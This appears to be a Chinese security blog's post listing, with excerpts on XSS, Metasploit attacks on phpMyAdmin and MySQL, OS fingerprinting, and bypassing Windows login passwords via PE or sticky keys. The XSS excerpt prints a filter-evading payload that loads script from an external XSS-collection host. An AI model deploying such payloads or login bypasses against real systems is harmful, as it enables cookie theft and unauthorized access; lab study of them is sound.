![](https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
网络安全
大写字母E
本人多年产品经理岗,黑产技术炒鸡小迷妹,从19年开始学习各种黑产技术,今年开始写blog,记录学习的点滴,欢迎大佬带着飞!
展开
-
防火墙 IPS IDS区别
防火墙、IPS、IDS区别原创 2022-12-31 10:51:21 · 199 阅读 · 1 评论 -
XSS漏洞:反射型、存储型、dom型
一、概念二、实验XSS反射型 getXSS反射型 post1) <script>alert(1)</script> 2) <sCRiPt sRC=//xsshs.cn/Qelk></sCrIpT> xss平台至少有伴儿概率拿不到任何东西,习惯就好,多试试XSS存储型...原创 2021-08-08 18:31:37 · 435 阅读 · 0 评论 -
phpmyadmin scripts/setup.php 反序列化漏洞攻击实验
msf攻击phpmyadmin 4.0x - 4.6.2 远程代码执行漏洞。Phpmyadmin Scripts/setup.php Deserialization Vulnerability (WooYun-2016-199433)deserialization n 反序列化,还原序列化目标(被攻击)计算机搭建漏洞环境:攻击计算机启用漏洞攻击模块:目标(被攻击)计算机退出漏洞环境:攻击计算机退出漏洞攻击环境:...原创 2020-10-07 18:03:21 · 958 阅读 · 0 评论 -
msf攻击mysql_authbypass_hashdump漏洞
我是用的是vulhub进行漏洞环境搭建,具体怎么搭建我在这儿就不说了,我主要讲下如果使用msf进行攻击的,过程相当简单~~~原创 2020-10-06 23:03:08 · 800 阅读 · 0 评论 -
判断主机操作系统的三种方法
方法1(14分)通过更改URL大小写判断,服务器是linux还是winds。方法2 (15分)可以通过TTL判断操作系统是linux还是windowshttps://blog.csdn.net/woshiwumingshi1/article/details/54312179但是这个不准确方法3 (18分)kali环境,使用nmap判断主机操作系统命令 nmap -O URL...原创 2020-10-06 14:49:20 · 696 阅读 · 0 评论 -
server2003简单部署web服务器--IIS
直接上实验安装IIS准备好web资源windows web服务器叫做IIS,IIS跑.asp,如下图:Apache和tomcat是另外两个web服务器,下几篇我们在做实验。设置IP地址,我们现在只能内网访问,你们访问的百度京东什么的,都购买了公网地址,内网地址在公网上直接会被丢弃。这里我们设置成10.1.1.21/24新建网站Apache和tomcat是另外两个web服务器,下几篇我们在做实验。配置active server page设原创 2020-07-25 14:50:59 · 254 阅读 · 0 评论 -
PE系统解决忘记开机密码
现在很多人都人手两台以上电脑,忘记开机密码情况,也是大有人在,今天我们用PE系统来解决一下这个问题。概念PE,微型系统,Preintallment Enviroment,英文翻译就是预安装环境,说人话就是,行走的C盘。PE走到哪台计算机上面,就当C盘系统盘使,原来的系统盘,就成为D盘、E盘了。原理原理也很简单,就是PE微型系统放到U盘里,或者刻录在光盘里,插到哪台计算机上,或者放到哪台计算机里面,计算机启动PE系统,就不启动原理C盘了,这样我们就可以更改 C:windows/system32原创 2020-07-25 07:27:34 · 1947 阅读 · 0 评论 -
粘滞键+脱机隐私声明破解win7开机密码
介绍1)粘滞键粘滞键是windows里的一个程序,就是在开机后,未输入账号密码未登录时,敲击5次shift键即可出,如图:粘滞键就是个程序。2)脱机隐私声明在第一次电脑开启过程中强制关机,则在第二次开机时,就会出现如下页面,如图:我们选择第一项,启动修复,如图:就会出现启动修复的一些详细信息,大家仔细看下这个,这是一个本地的txt文件,我们就是利用这里文件,进行 “狸猫换太子”。2. 原理计算机调用程序的时候,就是通过文件名称,包括破解软件的时候,也是这个道理。在这里,.原创 2020-07-23 09:17:49 · 1258 阅读 · 0 评论